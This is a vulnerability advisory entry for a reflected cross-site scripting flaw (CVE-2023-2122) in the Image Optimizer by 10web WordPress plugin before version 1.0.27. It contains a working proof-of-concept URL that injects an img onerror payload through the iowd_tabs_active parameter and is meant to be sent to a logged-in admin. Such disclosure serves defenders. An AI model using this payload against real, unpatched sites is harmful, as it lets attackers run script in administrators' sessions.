WordPress Plugin Vulnerabilities

Image Optimizer by 10web < 1.0.27 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the iowd_tabs_active parameter before rendering it in the plugin admin panel, leading to a reflected Cross-Site Scripting vulnerability, allowing an attacker to trick a logged in admin to execute arbitrary javascript by clicking a link.

Proof of Concept

Make a logged in admin open https://example.com/wp-admin/admin.php?page=iowd_settings&msg=1&iowd_tabs_active=generalry8uo%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ef0cmo

Affects Plugins

Plugin icon
image-optimizer-wd
Fixed in 1.0.27

References

CVE
CVE-2023-2122

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
7.1 (high)

Miscellaneous

Original Researcher
Phạm Ngọc Khánh
Submitter
Phạm Ngọc Khánh
Verified
Yes
WPVDB ID
936fd93a-428d-4744-a4fc-c8da78dcbe78

Timeline

Publicly Published
2023-04-26 (about 7 months ago)
Added
2023-04-26 (about 7 months ago)
Last Updated
2023-04-26 (about 7 months ago)

Other

Published
Title
Published
2018-10-31
Title
WP Editor.md <= 10.0.3 - Cross-Site Scripting (XSS)
Published
2023-11-07
Title
TWB Woocommerce Reviews <= 1.7.5 - Authenticated (Administrator+) Stored Cross-Site Scripting
Published
2017-07-31
Title
Salutation Responsive < 3.0.16 - Stored XSS
Published
2022-10-21
Title
Quiz And Survey Master < 7.3.5 - Reflected Cross-Site Scripting
Published
2015-09-09
Title
eShop - Reflected Cross-Site Scripting (XSS) & CSRF